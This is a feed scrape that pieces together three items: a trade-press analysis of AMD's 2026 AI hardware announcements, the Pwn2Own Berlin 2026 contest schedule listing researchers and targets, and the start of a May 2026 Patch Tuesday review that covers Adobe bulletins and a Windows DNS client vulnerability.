					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.</p>



<p class="wp-block-paragraph">AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">Helios AI platform</a> is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).</p>



<p class="wp-block-paragraph">The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  </p>



<h2 class="wp-block-heading">AMD’s MI455X targets the AI memory wall</h2>



<p class="wp-block-paragraph">The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.</p>



<p class="wp-block-paragraph">Compared to AMD’s current MI355X, <a href="https://hothardware.com/news/instinct-mi400-challenge-vera-rubin" target="_blank" rel="noreferrer noopener">the MI455X offers</a> 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.</p>



<p class="wp-block-paragraph">AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-generational-leap.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Instinct chart showing generational leap in performance" class="wp-image-4200600" width="1024" height="547" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.</p>



<p class="wp-block-paragraph">The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.</p>



<h2 class="wp-block-heading">AMD’s Helios rack takes aim at Vera Rubin</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-helios-rack.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Helios rack" class="wp-image-4200601" width="1024" height="626" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Dave Altavilla</p></div>



<p class="wp-block-paragraph">Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.</p>



<p class="wp-block-paragraph">In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.</p>



<p class="wp-block-paragraph">These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.</p>



<p class="wp-block-paragraph">AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.</p>



<p class="wp-block-paragraph">While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.</p>



<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pwn2Own Berlin 2026: The Full Schedule]]></title>
<description><![CDATA[Willkommen! (Welcome!) Pwn2Own Berlin 2026 has arrived at OffensiveCon, and the world’s top security researchers are ready. This year’s enterprise-focused competition features AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products.Earlier today, we held the ran...]]></description>
<link>https://tsecurity.de/de/3694567/hacking/pwn2own-berlin-2026-the-full-schedule/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694567/hacking/pwn2own-berlin-2026-the-full-schedule/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:56 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Willkommen! (Welcome!) Pwn2Own Berlin 2026 has arrived at OffensiveCon, and the world’s top security researchers are ready. This year’s enterprise-focused competition features AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products.</p><p class="">Earlier today, we held the random draw to determine attempt order. Below is the official schedule. All times are Berlin local time (CET) and may change as the competition progresses. Check back for live updates.</p><p class="">In case you missed it, you can watch the draw <a href="https://youtube.com/live/Dtp-ICE0crw" target="_blank">here</a>. </p>





















  
  




  


  
  
    
    
      
        
        
        
          
          
            
        
        
          
        
        
            
          
        
        
      
    
  
  
    



  



  

<p>Jump to: 
<a data-preserve-html-node="true" name="top"></a></p>
<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/5/13/pwn2own-berlin-2026-the-full-schedule#day1" tabindex="0">Day One</a></p>
<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/5/13/pwn2own-berlin-2026-the-full-schedule#day2" tabindex="0">Day Two</a></p>
<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/5/13/pwn2own-berlin-2026-the-full-schedule#day3" tabindex="0">Day Three</a></p>
<p><a data-preserve-html-node="true" name="day1"></a></p>




  <p class="">DAY ONE</p><p class=""><strong>Thursday, May 14 - 1030</strong></p><p class="">chompie of IBM X-Force Offensive Research (XOR) targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points</p><p class="">Le Duc Anh Vu ( @vulda ) of Viettel Cyber Security (@vcslab) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class="">Orange Tsai (@orange_8361) of DEVCORE Research Team (@d3vc0r3) targeting Microsoft Edge – Sandbox Escape in the Web Browser category for a total of $175,000 and 17.5 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1130</strong></p><p class="">k3vg3n targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points</p><p class="">Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1300</strong></p><p class="">Angelboy (@scwuaptx) of DEVCORE Research Team and TwinkleStar03 (@_twinklestar03), working with DEVCORE Internship Program targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points</p><p class="">Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class="">Park Jae Min (@hiariz) targeting Oracle Autonomous AI Database in the AI Database category for a total of $40,000 and 4 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1400</strong></p><p class="">Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points.</p><p class="">Yoseop kim(@pwning_me) targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1500</strong> </p><p class="">Ben Koo (@kiddo_pwn) of Team DDOS targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points</p><p class="">Interrupt Labs targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1530</strong></p><p class="">maitai (@MaitaiThe) of Doyensec (@Doyensec) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1600</strong></p><p class="">Billy (@st424204), Pan Zhenpeng(@Peterpan980927), Weiming Shi (@bestswngs) of STARLabs SG (@starlabs_sg) targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points</p><p class="">Marcin Wiązowski targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1630</strong></p><p class="">haehae (@haehaeYang) of Out Of Bounds targeting Chroma in the AI Database category for a total of $20,000 and 2 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1730</strong></p><p class="">chompie of IBM X-Force Offensive Research (XOR) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points</p><p class="">Yoseop Kim(@pwning_me) targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1800</strong></p><p class="">@rewhiles of Viettel Cyber Security (@vcslab) targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1830</strong></p><p class="">Kentaro Kawane of GMO Cybersecurity by Ierae targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points</p><p class="">Qrious Secure (@qriousec) targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1900</strong></p><p class="">haehae (@haehaeYang) of Out of Bounds targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points</p>





















  
  



<p><a data-preserve-html-node="true" name="day2"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/5/13/pwn2own-berlin-2026-the-full-schedule#top"><i data-preserve-html-node="true">Back to top</i></a></p>




  <p class="">DAY TWO</p><p class=""><strong>Friday, May 15 - 1030</strong></p><p class="">Ben Koo (@kiddo_pwn) of Team DDOS targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points</p><p class="">Stephen Fewer (Rapid7) targeting Microsoft SharePoint in the Server category for a total of $100,000 and 10 Master of Pwn points</p><p class="">Tao Yan (@Ga1ois) and Edouard Bochin (@le_douds) from Palo Alto Networks targeting Apple Safari – Renderer Only in the Web Browser category for a total of $75,000 and 7.5 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1130</strong></p><p class="">Le Duc Anh Vu ( @vulda ) of Viettel Cyber Security (@vcslab) targeting Cursor in the Coding Agent category for a total of $30,000 and 3 Master of Pwn points</p><p class="">Nikolaos Mourousias (@deltaclock), Caue Obici (@caueobici) and Bruno Halltari (@BrunoModificato) of OtterSec targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points</p><p class="">Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1300</strong></p><p class="">Ruitong from the Abstract Team at the University of Colorado Boulder targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1330</strong></p><p class="">Kiyong Kwak of Kakaogames and Song Nuri of Samsung Electronics targeting Apple Safari – Renderer Only in the Web Browser category for a total of $75,000 and 7.5 Master of Pwn points</p><p class="">Orange Tsai (@orange_8361) of DEVCORE Research Team targeting Microsoft Exchange in the Server category for a total of $200,000 and 20 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1400</strong></p><p class="">Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1430</strong></p><p class="">Billy (@st424204), Bruce Chen(@bruce30262), Pan Zhenpeng(@Peterpan980927), Weiming Shi (@bestswngs ) of STARLabs SG (@starlabs_sg) targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points</p><p class="">David Tae, Louis Hur of Out Of Bounds targeting Ollama in the Local Inference category for a total of $40,000 and 4 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1530</strong></p><p class="">Team: Alon Ben Tsur (@iamgweej), Yahav Azran (@_yahav) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1600</strong></p><p class="">@rewhiles of Viettel Cyber Security (@vcslab) targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points</p><p class="">Siyeon Wi targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1630</strong></p><p class="">Byung Young Yi (@yibarrack) of Out Of Bounds targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1700</strong></p><p class="">Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting Cursor in the Coding Agent category for a total of $30,000 and 3 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1800</strong></p><p class="">Daniel Cohen Hillel (@0xDACA) targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points</p>





















  
  



<p><a data-preserve-html-node="true" name="day3"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/5/13/pwn2own-berlin-2026-the-full-schedule#top"><i data-preserve-html-node="true">Back to top</i></a></p>




  <p class="">DAY THREE</p><p class=""><strong>Saturday, May 16 - 1100</strong></p><p class="">Le Tran Hai Tung (@tacbliw), dungnm (@dungnm_) and hieuvd (@gr4ss341) of Viettel Cyber Security (@vcslab) targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points</p><p class="">Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class="">Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points</p><p class=""><strong>Saturday, May 16 - 1330</strong></p><p class="">Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class="">Hyunwoo Kim (@v4bel) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points</p><p class="">Team: Giuseppe Calì (@_gcali) of Summoning Team targeting VMware ESXi in the Virtualization category with the Cross-tenant Code Execution Addon add-on for a total of $200,000 and 20 Master of Pwn points</p><p class=""><strong>Saturday, May 16 - 1430</strong></p><p class="">splitline (@_splitline_) of DEVCORE Research Team targeting Microsoft SharePoint in the Server category for a total of $100,000 and 10 Master of Pwn points</p><p class=""><strong>Saturday, May 16 - 1600</strong></p><p class="">Byung Young Yi (@yibarrack) of Out Of Bounds targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class="">Nguyen Hoang Thach (@hi_im_d4rkn3ss) of STARLabs SG (@starlabs_sg) targeting VMware ESXi in the Virtualization category with the Cross-tenant Code Execution Addon add-on for a total of $200,000 and 20 Master of Pwn points</p><p class="">Follow the action live! We’ll be posting real-time updates and results throughout the competition on our <a href="https://www.zerodayinitiative.com/blog">blog</a> and across social media. Stay up to date by following us on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, and <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a>, and join the conversation using #Pwn2Own Berlin and #P2OBerlin for continuous coverage. </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The May 2026 Security Update Review]]></title>
<description><![CDATA[I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patch...]]></description>
<link>https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:56 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. Due to technical difficulties, there will not be a video companion for this month.</p><p class=""><strong>Adobe Patches for May 2026</strong></p><p class="">For May, Adobe released 10 bulletins addressing 52 unique CVEs in Adobe Commerce, After Effects, Adobe Connect, Illustrator, Media Encoder, Premiere Pro, Substance 3D Painter, Substance 3D Sampler, Content Authenticity SDK, and the Adobe Substance 3D Designer. Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-49.html" target="_blank">APSB26-49</a></td>
    <td>Adobe Commerce</td>
    <td>15</td>
    <td>Critical</td>
    <td>8.7</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-48.html" target="_blank">APSB26-48</a></td>
    <td>Adobe After Effects</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/connect/apsb26-50.html" target="_blank">APSB26-50</a></td>
    <td>Adobe Connect</td>
    <td>2</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-51.html" target="_blank">APSB26-51</a></td>
    <td>Adobe Illustrator</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-47.html" target="_blank">APSB26-47</a></td>
    <td>Adobe Media Encoder</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-46.html" target="_blank">APSB26-46</a></td>
    <td>Adobe Premiere Pro</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-55.html" target="_blank">APSB26-55</a></td>
    <td>Adobe Substance 3D Painter</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-54.html" target="_blank">APSB26-54</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-53.html" target="_blank">APSB26-53</a></td>
    <td>Content Authenticity SDK</td>
    <td>14</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d_designer/apsb26-52.html" target="_blank">APSB26-52</a></td>
    <td>Adobe Substance 3D Designer</td>
    <td>5</td>
    <td>Important</td>
    <td>6.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>10 bulletins</td>
    <td>52</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">The obvious priority this month is the patch for Commerce, with its 15 bugs and deployment priority of 2. The Connect fix should also rank up there since both of its CVEs are CVSS 9s. Beyond those, it’s a pretty typical month for Adobe, with most of the bugs either being cross-site scripting (XSS) or open-and-own code executions.</p><p class=""><strong>Microsoft Patches for May 2026</strong></p><p class="">This month, Microsoft released a whopping 138 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Copilot Chat, Github Copilot, M365 Copilot, SQL Server, TCP/IP, and the Telnet Client – yes, the Telnet client. Two of these bugs were reported through the TrendAI ZDI program. 30 of these bugs are rated Critical, three are rated as Moderate, one is rated Low, and the rest are rated Important in severity.</p><p class="">This large volume of fixes follows the largest monthly release in Microsoft’s history and reflects the trend across the industry of a high number of submissions. While not all of these bugs were found by AI, it’s likely they had an AI-related component – even if it was just AI writing the submission. I should also point out the Pwn2Own Berlin occurs in just a few days, and it’s typical for vendors to patch as much as they can before the event.</p><p class="">None of the bugs patched by Microsoft this month are listed as publicly known or under active attack at the time of release, so we’ve got that going for us. Let’s take a closer look at some of the more interesting updates for this month, starting with a nasty-looking bug in DNS:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096"><strong>CVE-2026-41096</strong></a><strong> - Windows DNS Client Remote Code Execution Vulnerability<br></strong>This patch fixes a heap-based buffer overflow in the DNS Client triggered by a malicious DNS response. No authentication or user interaction needed, and since the DNS Client runs on virtually every Windows machine, the attack surface is enormous. An attacker with a position to influence DNS responses (MitM, rogue server) could achieve unauthenticated RCE across your enterprise.</p><p class="">-    <a 